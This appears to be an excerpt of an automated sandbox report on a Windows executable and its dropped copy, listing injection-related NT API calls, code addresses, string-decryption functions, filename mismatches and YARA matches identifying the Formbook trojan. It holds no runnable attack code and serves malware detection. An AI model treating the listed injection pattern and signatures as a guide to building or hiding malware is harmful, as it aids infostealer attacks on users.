Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672FB0 NtResumeThread, 10_2_01672FB0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672F90 NtProtectVirtualMemory, 10_2_01672F90
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672E30 NtWriteVirtualMemory, 10_2_01672E30
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672EE0 NtQueueApcThread, 10_2_01672EE0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672EA0 NtAdjustPrivilegesToken, 10_2_01672EA0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672E80 NtReadVirtualMemory, 10_2_01672E80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01673010 NtOpenDirectoryObject, 10_2_01673010
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01673090 NtSetValueKey, 10_2_01673090
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016739B0 NtGetContextThread, 10_2_016739B0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01673D70 NtOpenThread, 10_2_01673D70
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01673D10 NtOpenProcessToken, 10_2_01673D10
Detected potential crypto function
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_025ED304 0_2_025ED304
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_06A76783 0_2_06A76783
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_06A76790 0_2_06A76790
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_06A754F0 0_2_06A754F0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_06A76530 0_2_06A76530
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_06A750B8 0_2_06A750B8
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_06A77131 0_2_06A77131
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_06A77140 0_2_06A77140
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_06A7DF68 0_2_06A7DF68
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_06A74C80 0_2_06A74C80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_073E37F8 0_2_073E37F8
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_073E4560 0_2_073E4560
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_073ED672 0_2_073ED672
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_073ED670 0_2_073ED670
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00410083 10_2_00410083
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00403100 10_2_00403100
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0040E103 10_2_0040E103
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00401210 10_2_00401210
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00401AC0 10_2_00401AC0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00401AB6 10_2_00401AB6
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00416B7E 10_2_00416B7E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00416B83 10_2_00416B83
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00404514 10_2_00404514
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0042E5F3 10_2_0042E5F3
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0040FE5F 10_2_0040FE5F
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0040FE63 10_2_0040FE63
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00402630 10_2_00402630
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00404715 10_2_00404715
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C8158 10_2_016C8158
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01630100 10_2_01630100
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DA118 10_2_016DA118
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F81CC 10_2_016F81CC
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_017001AA 10_2_017001AA
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D2000 10_2_016D2000
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FA352 10_2_016FA352
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164E3F0 10_2_0164E3F0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_017003E6 10_2_017003E6
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016E0274 10_2_016E0274
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C02C0 10_2_016C02C0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01640535 10_2_01640535
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01700591 10_2_01700591
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F2446 10_2_016F2446
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016E4420 10_2_016E4420
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016EE4F6 10_2_016EE4F6
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01640770 10_2_01640770
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01664750 10_2_01664750
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163C7C0 10_2_0163C7C0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0165C6E0 10_2_0165C6E0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01656962 10_2_01656962
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0170A9A6 10_2_0170A9A6
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164A840 10_2_0164A840
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01642840 10_2_01642840
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166E8F0 10_2_0166E8F0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016268B8 10_2_016268B8
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FAB40 10_2_016FAB40
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F6BD7 10_2_016F6BD7
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163EA80 10_2_0163EA80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164AD00 10_2_0164AD00
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DCD1F 10_2_016DCD1F
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163ADE0 10_2_0163ADE0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01658DBF 10_2_01658DBF
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01640C00 10_2_01640C00
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01630CF2 10_2_01630CF2
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016E0CB5 10_2_016E0CB5
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B4F40 10_2_016B4F40
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01682F28 10_2_01682F28
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01660F30 10_2_01660F30
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016E2F30 10_2_016E2F30
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164CFE0 10_2_0164CFE0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01632FC8 10_2_01632FC8
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016BEFA0 10_2_016BEFA0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01640E59 10_2_01640E59
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FEE26 10_2_016FEE26
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FEEDB 10_2_016FEEDB
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01652E90 10_2_01652E90
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FCE93 10_2_016FCE93
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0167516C 10_2_0167516C
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0162F172 10_2_0162F172
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0170B16B 10_2_0170B16B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164B1B0 10_2_0164B1B0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F70E9 10_2_016F70E9
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FF0E0 10_2_016FF0E0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016EF0CC 10_2_016EF0CC
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016470C0 10_2_016470C0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0162D34C 10_2_0162D34C
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F132D 10_2_016F132D
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0168739A 10_2_0168739A
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016E12ED 10_2_016E12ED
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0165B2C0 10_2_0165B2C0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016452A0 10_2_016452A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F7571 10_2_016F7571
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DD5B0 10_2_016DD5B0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01631460 10_2_01631460
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FF43F 10_2_016FF43F
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FF7B0 10_2_016FF7B0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F16CC 10_2_016F16CC
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01649950 10_2_01649950
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0165B950 10_2_0165B950
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D5910 10_2_016D5910
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AD800 10_2_016AD800
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016438E0 10_2_016438E0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FFB76 10_2_016FFB76
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B5BF0 10_2_016B5BF0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0167DBF9 10_2_0167DBF9
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0165FB80 10_2_0165FB80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B3A6C 10_2_016B3A6C
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FFA49 10_2_016FFA49
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F7A46 10_2_016F7A46
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016EDAC6 10_2_016EDAC6
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DDAAC 10_2_016DDAAC
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01685AA0 10_2_01685AA0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016E1AA3 10_2_016E1AA3
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F7D73 10_2_016F7D73
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01643D40 10_2_01643D40
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F1D5A 10_2_016F1D5A
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0165FDC0 10_2_0165FDC0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B9C32 10_2_016B9C32
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FFCF2 10_2_016FFCF2
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FFF09 10_2_016FFF09
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01603FD2 10_2_01603FD2
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01603FD5 10_2_01603FD5
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FFFB1 10_2_016FFFB1
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01641F92 10_2_01641F92
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01649EB0 10_2_01649EB0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_026C4544 11_2_026C4544
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_026CD304 11_2_026CD304
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_04E47BD0 11_2_04E47BD0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_04E40040 11_2_04E40040
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_04E40006 11_2_04E40006
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_04E47BC0 11_2_04E47BC0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_05404560 11_2_05404560
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_054037F8 11_2_054037F8
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_0540D662 11_2_0540D662
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_0540D670 11_2_0540D670
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_06E16783 11_2_06E16783
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_06E16790 11_2_06E16790
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_06E154F0 11_2_06E154F0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_06E14C80 11_2_06E14C80
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_06E16530 11_2_06E16530
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_06E150B8 11_2_06E150B8
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_06E17140 11_2_06E17140
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_06E17131 11_2_06E17131
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 11_2_06E1D108 11_2_06E1D108
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01180100 15_2_01180100
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011D6000 15_2_011D6000
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_012102C0 15_2_012102C0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01190535 15_2_01190535
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011B4750 15_2_011B4750
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01190770 15_2_01190770
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_0118C7C0 15_2_0118C7C0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011AC6E0 15_2_011AC6E0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011A6962 15_2_011A6962
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011929A0 15_2_011929A0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_0119A840 15_2_0119A840
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01192840 15_2_01192840
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011C8890 15_2_011C8890
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011768B8 15_2_011768B8
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011BE8F0 15_2_011BE8F0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_0118EA80 15_2_0118EA80
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_0119AD00 15_2_0119AD00
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_0119ED7A 15_2_0119ED7A
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011A8DBF 15_2_011A8DBF
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01198DC0 15_2_01198DC0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_0118ADE0 15_2_0118ADE0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01190C00 15_2_01190C00
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01180CF2 15_2_01180CF2
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011B0F30 15_2_011B0F30
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011D2F28 15_2_011D2F28
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01204F40 15_2_01204F40
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_0120EFA0 15_2_0120EFA0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01182FC8 15_2_01182FC8
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01190E59 15_2_01190E59
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011A2E90 15_2_011A2E90
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_0117F172 15_2_0117F172
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011C516C 15_2_011C516C
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_0119B1B0 15_2_0119B1B0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_0117D34C 15_2_0117D34C
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011933F3 15_2_011933F3
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011952A0 15_2_011952A0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011AB2C0 15_2_011AB2C0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011AD2F0 15_2_011AD2F0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01181460 15_2_01181460
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01193497 15_2_01193497
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011D74E0 15_2_011D74E0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_0119B730 15_2_0119B730
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01199950 15_2_01199950
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011AB950 15_2_011AB950
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01195990 15_2_01195990
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011FD800 15_2_011FD800
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011938E0 15_2_011938E0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011AFB80 15_2_011AFB80
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01205BF0 15_2_01205BF0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011CDBF9 15_2_011CDBF9
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01203A6C 15_2_01203A6C
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01193D40 15_2_01193D40
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011AFDC0 15_2_011AFDC0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01209C32 15_2_01209C32
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011A9C20 15_2_011A9C20
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01191F92 15_2_01191F92
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01199EB0 15_2_01199EB0
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: String function: 011FEA12 appears 37 times
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: String function: 011D7E54 appears 97 times
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: String function: 0162B970 appears 278 times
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: String function: 016AEA12 appears 86 times
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: String function: 01687E54 appears 102 times
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: String function: 016BF290 appears 105 times
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: String function: 01675130 appears 58 times
PE / OLE file has an invalid certificate
Source: 8SxJ9aYfJ1.exe Static PE information: invalid certificate
Sample file is different than original file name gathered from version info
Source: 8SxJ9aYfJ1.exe, 00000000.00000002.2121045208.000000000398E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs 8SxJ9aYfJ1.exe
Source: 8SxJ9aYfJ1.exe, 00000000.00000000.2069831488.000000000046C000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameLUtp.exe< vs 8SxJ9aYfJ1.exe
Source: 8SxJ9aYfJ1.exe, 00000000.00000002.2123643005.00000000069C0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs 8SxJ9aYfJ1.exe
Source: 8SxJ9aYfJ1.exe, 00000000.00000002.2124565017.0000000007790000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameMML.dll2 vs 8SxJ9aYfJ1.exe
Source: 8SxJ9aYfJ1.exe, 00000000.00000002.2124310201.0000000007590000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamePowerShell.EXEj% vs 8SxJ9aYfJ1.exe
Source: 8SxJ9aYfJ1.exe, 00000000.00000002.2120693064.00000000027B1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameMML.dll2 vs 8SxJ9aYfJ1.exe
Source: 8SxJ9aYfJ1.exe, 00000000.00000002.2113988917.00000000009AE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs 8SxJ9aYfJ1.exe
Source: 8SxJ9aYfJ1.exe, 0000000A.00000002.2392198546.00000000011C7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameFINDSTR.EXEj% vs 8SxJ9aYfJ1.exe
Source: 8SxJ9aYfJ1.exe, 0000000A.00000002.2392198546.00000000011A8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameFINDSTR.EXEj% vs 8SxJ9aYfJ1.exe
Source: 8SxJ9aYfJ1.exe, 0000000A.00000002.2392690731.000000000172D000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs 8SxJ9aYfJ1.exe
Source: 8SxJ9aYfJ1.exe Binary or memory string: OriginalFilenameLUtp.exe< vs 8SxJ9aYfJ1.exe
Uses 32bit PE files
Source: 8SxJ9aYfJ1.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 10.2.8SxJ9aYfJ1.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 10.2.8SxJ9aYfJ1.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2392518879.00000000014F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000015.00000002.2641212802.0000000000EB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
